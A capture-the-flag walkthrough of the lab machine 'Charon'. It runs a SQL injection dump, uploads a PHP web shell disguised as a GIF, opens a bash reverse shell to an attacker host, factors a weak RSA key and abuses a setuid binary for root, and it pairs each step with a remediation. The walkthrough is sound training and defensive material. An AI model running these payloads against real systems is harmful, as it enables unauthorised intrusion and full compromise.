← all walkthroughs

Charon

Linux· Hard· Web
owned
2026-07-10
time to own
18m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target charon.htb ($TARGET) was fully compromised through a four-stage chain. A UNION-based SQL injection in the SuperCMS forgot.php password-reset form leaked the administrator's MD5-hashed password, which cracked offline to the credential super_cms_adm's password. The authenticated file-upload form enforced its extension whitelist only in browser-side JavaScript; submitting a double-extension PHP web shell (shell.php.gif) directly via HTTP bypassed that check, and Apache executed the stored file as PHP, giving remote code execution as www-data.

Local enumeration found two world-readable files in the decoder account's home directory, a 256-bit RSA public key and an RSA-encrypted password file, whose 256-bit modulus was trivially factorable via FactorDB, enabling private-key reconstruction and decryption of the password for an SSH session as decoder and the user flag. To reach root, a setuid binary at /usr/local/bin/supershell passed user-supplied arguments to a shell but failed to block the $(...) command-substitution syntax, letting me embed sub-commands that copied bash with its setuid bit set and opened a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export KEY2="<the-key-you-recovered>"

Attack path: how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped exposed services and discovered the SuperCMS application via virtual-host resolution
A port scan of $TARGET found SSH on port 22 (OpenSSH 7.2p2) and HTTP on port 80 (Apache 2.4.18). The default Apache vhost returned only generic content, but adding the virtual hostname charon.htb to the local hosts file exposed a SuperCMS installation at /cmsdata/, including a login page, a password-reset form (forgot.php), and an authenticated file-upload endpoint (upload.php).
Exact commands 3
shell

Identify open ports and service banners.

$ nmap -sV -sC -p 22,80 -oN charon_nmap.txt $TARGET
shell

Register the virtual hostname for local DNS resolution.

$ echo "$TARGET charon.htb" | sudo tee -a /etc/hosts
shell

Confirm the SuperCMS login page and identify further endpoints (forgot.php, upload.php).

$ curl -sIL http://charon.htb/cmsdata/login.php
2ExploitationUNION-based SQL injection (CWE-89)
Extracted administrator credentials via SQL injection in the password-reset form
The forgot.php endpoint accepted an email parameter and embedded it directly into a SQL query without sanitization. A UNION-based injection enumerated the SuperCMS users table and retrieved the MD5-hashed password for the super_cms_adm account. Cracking the hash offline against a common wordlist produced the plaintext password.
Credentials super_cms_adm's password confirmed valid at /cmsdata/login.php.
Exact commands 2
shell

Automate UNION injection against the email parameter; extracts hashed passwords from the users table.

$ sqlmap -u 'http://charon.htb/cmsdata/forgot.php' --data 'email=test@test.com' --dbms=mysql --technique=U --dump -T users --batch
shell

Crack the extracted MD5 hash (-m 0 = MD5) offline; recovers <withheld> for super_cms_adm.

$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
FixReplace concatenated SQL queries with parameterized prepared statementsCritical
WeaknessThe forgot.php password-reset form embedded the user-supplied email value directly into SQL text. An unauthorised user injected a UNION clause that read the full users table without any authentication, exposing hashed administrator passwords that were cracked offline to gain access to the CMS.
FixRewrite all database queries in SuperCMS using PDO with parameterized bindings (or MySQLi prepared statements with bind_param). No user-controlled value should ever appear inside SQL text. Additionally, configure the application's database account with minimum necessary privileges: SELECT, INSERT, UPDATE, and DELETE on the application schema only; never FILE, DROP, or GRANT.
3ExploitationClient-side file-type validation bypass with double-extension upload (CWE-434)
Bypassed the client-side upload filter with a double-extension PHP web shell to gain remote code execution
Logged in as super_cms_adm, the upload form at /cmsdata/upload.php enforced its extension whitelist exclusively in the browser JavaScript function ValidateImage() in scripts/my.js. Sending the multipart POST directly via curl bypassed the browser entirely. A PHP web shell prepended with a GIF magic-byte header was submitted as shell.php.gif; the server accepted and stored it under /images/. Apache's handler configuration treated any filename containing .php as executable PHP regardless of trailing extensions, so a GET request to the stored file with a command parameter returned output as www-data.
Curl 'http://charon.htb/images/shell.php.gif?x=id' returned uid=33(www-data); reverse shell confirmed foothold as www-data@charon.
Exact commands 6
shell

Authenticate with cracked credentials and save the session cookie.

$ curl -c cookie.txt -b cookie.txt -L -d "user=super_cms_adm&pass=$PASSWORD2&submit=submit" http://charon.htb/cmsdata/login.php
shell

Create a PHP web shell prefixed with a GIF89a magic-byte header.

$ printf 'GIF89a;\n<?php if(isset($_REQUEST["x"])){system($_REQUEST["x"]);} ?>\n' > payload.gif
shell

Upload the double-extension payload; stored as /images/shell.php.gif on the server.

$ curl -b cookie.txt -F 'image=@payload.gif;filename=shell.php.gif' -F 'c2hlbGwucGhw=testfile1' http://charon.htb/cmsdata/upload.php
shell

Verify remote code execution: expects uid=33(www-data).

$ curl 'http://charon.htb/images/shell.php.gif?x=id'
shell

Start the reverse-shell listener on my machine (run in background).

$ nc -lvnp 4444
shell

Replace $ATTACKER_IP with my machine's IP; upgrades the web shell to an interactive shell as www-data.

$ curl 'http://charon.htb/images/shell.php.gif' --get --data-urlencode "x=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
FixEnforce file-upload validation on the server and disable PHP execution in the uploads directoryCritical
WeaknessThe upload form at /cmsdata/upload.php checked file extensions only in browser-side JavaScript. Any HTTP client that sends the multipart POST directly bypasses that check entirely; a double-extension file (shell.php.gif) was accepted, stored under the web root, and executed as PHP by Apache, giving an unauthorised user a web shell.
FixAdd server-side validation: use PHP's finfo_file() or exif_imagetype() to verify that uploaded content matches an allowed image type, regardless of the submitted filename. Whitelist only the extensions the application requires (.jpg, .png, .gif) and rename every upload server-side to a UUID with the safe extension. Configure Apache to deny PHP execution in the uploads directory by placing 'php_flag engine Off' in /images/.htaccess, or store uploads outside the web root and serve them through a controller script.
4Credential AccessWeak RSA key factorization: insufficient key size (CWE-326)
Recovered the decoder account password by factoring a cryptographically weak 256-bit RSA key
From the www-data shell, both /home/decoder/decoder.pub (a 256-bit RSA public key) and /home/decoder/pass.crypt (the decoder account's password encrypted under that key) were world-readable by any process on the system. A 256-bit RSA modulus provides no meaningful security: the exact prime factors (p = <withheld>; q = <withheld>) were already pre-indexed in the public FactorDB database. With p and q in hand, Python's pycryptodome library reconstructed the RSA private key and decrypted pass.crypt using PKCS1_v1_5, yielding the plaintext password.
Factors p and q retrieved from FactorDB for this exact modulus; PKCS1_v1_5 decryption of /home/decoder/pass.crypt produced the password.
Exact commands 4
shell

Read the world-readable RSA public key.

$ cat /home/decoder/decoder.pub
shell

Extract the decimal modulus n from the public key for submission to FactorDB.

$ python3 -c "from Crypto.PublicKey import RSA; key=RSA.import_key(open('/home/decoder/decoder.pub').read()); print(key.n)"
shell

Replace <MODULUS_N> with the decimal value from the previous command; FactorDB returns the pre-computed prime factors p and q.

$ curl -s 'http://factordb.com/api?query=<MODULUS_N>'
shell

Reconstruct the private key from the recovered factors and decrypt pass.crypt; prints the plaintext password.

$ python3 - <<PY
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Cipher import PKCS1_v1_5
p = $KEY
q = $KEY2
e = 65537
n = p * q
d = inverse(e, (p-1)*(q-1))
priv = RSA.construct((n, e, d, p, q))
cipher = PKCS1_v1_5.new(priv)
ct = open('/home/decoder/pass.crypt','rb').read()
print(cipher.decrypt(ct, None))
PY
FixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
WeaknessThe decoder account's password was protected by a 256-bit RSA public key. Keys shorter than 2048 bits are computationally trivial to factor using publicly available tools and databases; this specific modulus was already pre-indexed in FactorDB, reducing the encryption to no protection at all. The public key and the encrypted credential file were also world-readable, giving any process on the system access to both inputs needed to recover the plaintext password.
FixGenerate a replacement key pair of at least 2048 bits (4096-bit RSA or an Ed25519 key pair are preferable). Set the permissions of any file containing encrypted credentials or key material to 600 (owner read-write only). Audit home directories with: find /home -maxdepth 3 -perm /o+r -type f, and remove world-readable permissions from any sensitive file found.
5Lateral MovementValid account credential use: remote service authentication (T1078 / T1021.004)
Authenticated as decoder via SSH and captured the user flag
The plaintext password, decrypted from pass.crypt, was used to open an interactive SSH session as decoder on port 22. The user flag was readable at /home/decoder/user.txt.
SSH session established as decoder@charon; user.txt captured.
Exact commands 2
shell

Authenticate using the password recovered in the previous step.

$ ssh decoder@$TARGET
shell

Read the user flag: <user.txt>

$ cat /home/decoder/user.txt
6Privilege EscalationSUID binary command-substitution injection (T1548.001)
Injected shell command-substitution syntax into a setuid binary to execute commands as root
The binary /usr/local/bin/supershell was owned by root and had the setuid bit set, so any sub-command it invoked ran with root effective UID. Reverse engineering revealed it filtered user input through the function tonto_chi_legge before passing it to a shell, but the filter did not block the $(...) command-substitution syntax. By embedding $(/bin/cp /bin/bash /tmp/rootbash) and $(/bin/chmod 4755 /tmp/rootbash) inside otherwise benign arguments, I caused the shell to evaluate those sub-commands as root, producing a setuid-root copy of bash at /tmp/rootbash. Running /tmp/rootbash -p elevated the session to root effective UID.
/tmp/rootbash -p -c 'id' returned uid=0(root); root.txt captured from /root/root.txt.
Exact commands 5
shell

Confirm the setuid bit is set: expect -rwsr-xr-x root root.

$ ls -la /usr/local/bin/supershell
shell

The $() sub-command executes as root, copying /bin/bash to /tmp/rootbash.

$ /usr/local/bin/supershell '/bin/ls $(/bin/cp /bin/bash /tmp/rootbash)'
shell

The $() sub-command executes as root, setting the setuid bit on /tmp/rootbash.

$ /usr/local/bin/supershell '/bin/ls $(/bin/chmod 4755 /tmp/rootbash)'
shell

Verify the binary is now -rwsr-xr-x owned by root.

$ ls -l /tmp/rootbash
shell

Open a root-privileged shell; -p preserves the effective root UID. Capture root flag: <root.txt>

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=0(root)
FixRemove the setuid bit from supershell and redesign privileged access without shell-injection riskCritical
WeaknessThe binary /usr/local/bin/supershell was owned by root and had the setuid bit set, causing it to run with root effective UID. Its input filter did not block the $(...) command-substitution syntax, so an unauthorised user embedded arbitrary sub-commands that executed as root, creating a persistent setuid-root copy of bash and achieving full system compromise.
FixRemove the setuid bit immediately: chmod u-s /usr/local/bin/supershell. If the binary serves a legitimate purpose, redesign it to accept only a whitelist of specific literal arguments and invoke the target program via execve() with an explicit argument vector, never via a shell interpreter. As a safer and auditable alternative, replace the setuid binary with a targeted sudo rule (NOPASSWD on exactly the required binary with no argument wildcards) so that privilege delegation is logged by the OS.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp